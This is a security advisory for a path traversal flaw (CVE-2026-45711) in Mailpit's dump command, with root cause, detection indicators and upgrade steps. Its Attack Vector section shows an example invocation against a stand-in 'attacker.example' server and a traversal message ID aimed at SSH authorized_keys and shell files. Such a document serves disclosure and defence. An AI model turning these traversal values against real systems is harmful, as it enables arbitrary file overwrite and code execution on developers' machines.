CVE-2026-45711: Mailpit Path Traversal Vulnerability

CVE-2026-45711 Overview

CVE-2026-45711 is a path traversal vulnerability [CWE-22] in Mailpit, an email testing tool and API used by developers. The flaw affects the mailpit dump --http <base-url> <out-dir> sub-command in versions prior to 1.30.0. The command downloads messages from a remote Mailpit instance and writes each one as <id>.eml inside a user-supplied output directory. Because the message ID is taken verbatim from the remote server's JSON response and joined into the output path with path.Join, .. segments are silently normalized. A malicious HTTP server impersonating Mailpit can write attacker-controlled bytes to any path the running user can write.

Critical Impact
A rogue HTTP server can write arbitrary files outside the intended output directory, enabling code execution through overwrite of user-writable files such as shell configs or scheduled tasks.

Affected Products

Mailpit versions prior to 1.30.0
The mailpit dump --http sub-command specifically
Any user running mailpit dump against an untrusted remote endpoint

Discovery Timeline

2026-07-20 - CVE-2026-45711 published to NVD
2026-07-21 - Last updated in NVD database

Technical Details for CVE-2026-45711

Vulnerability Analysis

The vulnerability resides in the mailpit dump client-side command. When invoked with --http <base-url>, Mailpit iterates over every message returned by the remote server. For each message, it builds the output file path by joining the caller-supplied output directory with the server-supplied message ID field and the .eml extension. Go's path.Join collapses .. segments during normalization, so a message ID such as ../../../../home/user/.ssh/authorized_keys is treated as a legitimate relative traversal. The dump command then writes the raw message contents to that resolved path.

Exploitation requires the victim to run mailpit dump against an attacker-controlled endpoint, which the user interaction requirement in the CVSS vector reflects. Successful abuse allows arbitrary file write within the running user's permissions, but not confidentiality loss.

Root Cause

The root cause is trusting a remote server field as part of a local filesystem path without sanitization. The message ID should be validated to ensure it contains no directory separators or parent-directory traversal sequences before concatenation. Using path.Join alone does not enforce containment inside the destination directory.

Attack Vector

The attack requires a network-reachable malicious HTTP server that mimics the Mailpit API and returns crafted message ID values containing .. traversal sequences. When a developer runs mailpit dump --http https://attacker.example/ ./out, the client fetches the message list, then writes each message body to the traversed path. Attackers can overwrite files such as ~/.bashrc, ~/.ssh/authorized_keys, cron entries, or CI configuration files, leading to code execution as the invoking user. See the GitHub Security Advisory GHSA-qx5x-85p8-vg4j for technical details.

Detection Methods for CVE-2026-45711

Indicators of Compromise

Files written outside the directory specified as the mailpit dump output argument, particularly under $HOME or system paths.
.eml payloads appearing in unexpected locations such as ~/.ssh/, ~/.config/, or cron directories.
Outbound HTTPS connections from developer workstations to unknown Mailpit-like endpoints during dump operations.

Detection Strategies

Monitor process execution for mailpit dump --http invocations and record the --http argument for review against approved endpoints.
Alert on file writes by the mailpit binary to paths containing .. or outside the working directory tree.
Inspect Mailpit API responses for message ID fields containing path separators or .. sequences.

Monitoring Recommendations

Log DNS and HTTP client activity from workstations that run Mailpit tooling and correlate with mailpit process events.
Enforce endpoint file integrity monitoring on sensitive user configuration files such as shell rc files and SSH authorized_keys.
Review shell history and CI job logs for mailpit dump commands referencing external base URLs.

How to Mitigate CVE-2026-45711

Immediate Actions Required

Upgrade Mailpit to version 1.30.0 or later on every host that executes the mailpit dump sub-command.
Audit recent mailpit dump --http invocations and inspect the output directories and adjacent paths for unexpected .eml files.
Rotate any credentials or SSH keys on systems where mailpit dump was run against an untrusted or unverified endpoint.

Patch Information

The issue is fixed in Mailpit 1.30.0. Release notes are available in the GitHub Mailpit Release v1.30.0 and the coordinated advisory is published as GHSA-qx5x-85p8-vg4j.

Workarounds

Only run mailpit dump --http against Mailpit instances you control and can authenticate.
Execute the dump command inside a disposable sandbox, container, or unprivileged user account with a filesystem scoped to the intended output directory.
Avoid running mailpit dump as a privileged user until the upgrade to 1.30.0 is complete.

bash

# Upgrade example
mailpit version
# Fetch and install v1.30.0 or later per the release page:
# https://github.com/axllent/mailpit/releases/tag/v1.30.0